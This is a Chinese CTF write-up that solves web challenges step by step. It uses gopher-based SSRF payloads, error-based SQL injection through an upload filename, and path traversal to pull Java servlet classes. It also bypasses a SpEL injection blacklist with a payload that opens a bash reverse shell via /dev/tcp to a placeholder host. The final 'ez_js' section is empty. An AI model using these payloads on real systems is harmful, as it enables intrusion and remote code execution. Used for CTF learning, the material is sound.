ssrf_signin
打开一看,是一个很典型的ssrf的题,先用file协议看看能不能直接读到flag,不能的话再扫内网
发现读不到,那就考虑扫一下内网看一下有没有其它存活的主机
首先读取/etc/hosts文件拿到内网ip:172.73.23.21 ,然后可以直接用http协议进行爆破
扫到一个,内网ip为172.73.23.100 的服务,提示叫我穿一个get形式的参数a,这时候我们可以直接再后面拼接参数a,比如下面这样
然后又叫我们传一个post参数,那就必须要使用gopher协议了,直接上脚本
import urllib.parse
payload = """POST /?a=1 HTTP/1.1
Host: 172.73.23.100
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
b=1
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A', '%0D%0A')
result = 'gopher://172.73.23.100:80/' + '_' + new
result = urllib.parse.quote(result)
print(result)
继续构造xff头
POST /?a=1 HTTP/1.1
Host: 172.73.23.100
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
X-Forwarded-For: 127.0.0.1
b=1
继续构造refer头
POST /?a=1 HTTP/1.1
Host: 172.73.23.100
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
X-Forwarded-For: 127.0.0.1
Referer: bolean.club
b=1
拿到flag: flag{Have_A_GoOd_T1m3!!!!!!}
upload
提示说sqlyyds,说明可能跟SQL注入有关
说type必须是type,那就抓包修改一下type
发现能直接上传php文件
他说不解析php文件,然后就试着找一下是否存在注入点
我在文件名这里加了一个单引号,结果爆出了一个sql错误,那应该就是了
insert into upload_file values('5da2dfa1bb0e764ca4ebdd7028450f61.php'union select 1,2,3,4%23')
这里能看到整个sql语句,没有回显,可以尝试使用报错注入,这里可以使用or ' 进行闭合
拿到数据库名upload ,下面就是很常规的sql注入流程了
爆数据库
a' or extractvalue(1,concat('~',database(),'~')) or '
爆表
a' or extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='upload'),'~')) or '
这里发现. 会被当做文件拓展名的分隔符,所以就不能直接使用. 了,那就只能猜测flag所在的表和列,一般来说应该不会很复杂
结果就是很简单的flag.flag
Payload:
前半段
a' or extractvalue(1,concat('~',(select group_concat(flag) from flag),'~')) or '
flag{5937a0b90b5966939cccd36929
后半段
a' or extractvalue(1,concat('~',mid((select group_concat(flag) from flag),28,28),'~')) or '
69291c68aa}
flag:
flag{5937a0b90b5966939cccd369291c68aa}
ez_java
打开发现有个下载文件的功能,/download?filename=
一直往上层读文件,直到第三层的时候拿到一个html文件,这个估计就是java的web.xml目录了
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>com.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>TestServlet</servlet-name>
<servlet-class>com.abc.servlet.TestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>TestServlet</servlet-name>
<url-pattern>/test388</url-pattern>
</servlet-mapping>
</web-app>
124.222.173.163:8024/download?filename=../../../classes/com/abc/servlet/TestServlet.class
/test388
124.222.173.163:8024/download?filename=../../../classes/com/abc/servlet/DownloadServlet.class
/download
然后拿到IDE上面反编译一下,得到源码
package com.abc.servlet;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.URLEncoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class DownloadServlet extends HttpServlet {
public DownloadServlet() {
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
String fileName = request.getParameter("filename");
fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
System.out.println("filename=" + fileName);
if (fileName != null && fileName.toLowerCase().contains("flag")) {
request.setAttribute("message", "read error");
request.getRequestDispatcher("/message.jsp").forward(request, response);
return;
}
int count = this.countSubFromString(fileName, "../");
if (count > 0 && count != 3) {
request.setAttribute("message", "invalid filename");
request.getRequestDispatcher("/message.jsp").forward(request, response);
return;
}
String fileSaveRootPath = this.getServletContext().getRealPath("/WEB-INF/upload");
String path = this.findFileSavePathByFileName(fileName, fileSaveRootPath);
File file = new File(path + "/" + fileName);
if (!file.exists()) {
request.setAttribute("message", "file is not exist");
request.getRequestDispatcher("/message.jsp").forward(request, response);
return;
}
String realname = fileName.substring(fileName.indexOf("_") + 1);
response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(realname, "UTF-8"));
FileInputStream in = new FileInputStream(path + "/" + fileName);
ServletOutputStream out = response.getOutputStream();
byte[] buffer = new byte[1024];
boolean var12 = false;
int len;
while((len = in.read(buffer)) > 0) {
out.write(buffer, 0, len);
}
in.close();
out.close();
} catch (Exception var13) {
request.setAttribute("message", "error");
request.getRequestDispatcher("/message.jsp").forward(request, response);
}
}
private String findFileSavePathByFileName(String filename, String saveRootPath) {
int hashCode = filename.hashCode();
int dir1 = hashCode & 15;
int dir2 = (hashCode & 240) >> 4;
String dir = saveRootPath + "/" + dir1 + "/" + dir2;
File file = new File(dir);
if (!file.exists()) {
file.mkdirs();
}
return dir;
}
private int countSubFromString(String src, String sub) {
int count = 0;
for(int pos = 0; src.indexOf(sub, pos) >= 0 && pos < src.length(); pos = src.indexOf(sub, pos) + sub.length()) {
++count;
}
return count;
}
}
package com.abc.servlet;
import java.io.IOException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.expression.Expression;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
public class TestServlet extends HttpServlet {
public TestServlet() {
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
String name = request.getParameter("name");
name = new String(name.getBytes("ISO8859-1"), "UTF-8");
if (this.blackMatch(name)) {
request.setAttribute("message", "name is invalid");
request.getRequestDispatcher("/message.jsp").forward(request, response);
return;
}
System.out.println(name);
String message = this.getAdvanceValue(name);
request.setAttribute("message", message);
request.getRequestDispatcher("/message.jsp").forward(request, response);
} catch (Exception var5) {
request.setAttribute("message", "error");
request.getRequestDispatcher("/message.jsp").forward(request, response);
}
}
private boolean blackMatch(String val) {
String[] var2 = this.getBlacklist();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
String keyword = var2[var4];
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
return true;
}
}
return false;
}
private String getAdvanceValue(String val) {
ParserContext parserContext = new TemplateParserContext();
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(val, parserContext);
StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
private String[] getBlacklist() {
return new String[]{"java.+lang", "Runtime", "exec.*\\("};
}
}
发现这里有个的spel注入点,且加了一个黑名单过滤
private String[] getBlacklist() {
return new String[]{"java.+lang", "Runtime", "exec.*\\("};
}
接着把它移植到本地环境来试一下payload
import org.springframework.expression.Expression;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class demo {
public static void main(String[] args) {
String name = "Runtime";
if (blackMatch(name)) {
System.out.println("done");
return;
}
System.out.println(name);
System.out.println(getAdvanceValue(name));
}
public static boolean blackMatch(String val) {
String[] var2 = getBlacklist();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
String keyword = var2[var4];
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
return true;
}
}
return false;
}
public static String[] getBlacklist() {
return new String[]{"java.+lang", "Runtime", "exec.*\\("};
}
public static String getAdvanceValue(String val) {
ParserContext parserContext = new TemplateParserContext();
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(val, parserContext);
StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
}
成功弹到计算机,然后把黑名单加上,改一下payload如下
#{T(String).getClass().forName("java.la"+"ng.Run"+"time").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.la"+"ng.Run"+"time").getMethod("getR"+"untime").invoke(T(String).getClass().forName("java.la"+"ng.Run"+"time")),new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/xxxxxx/2333 0>&1"})}
ez_js
|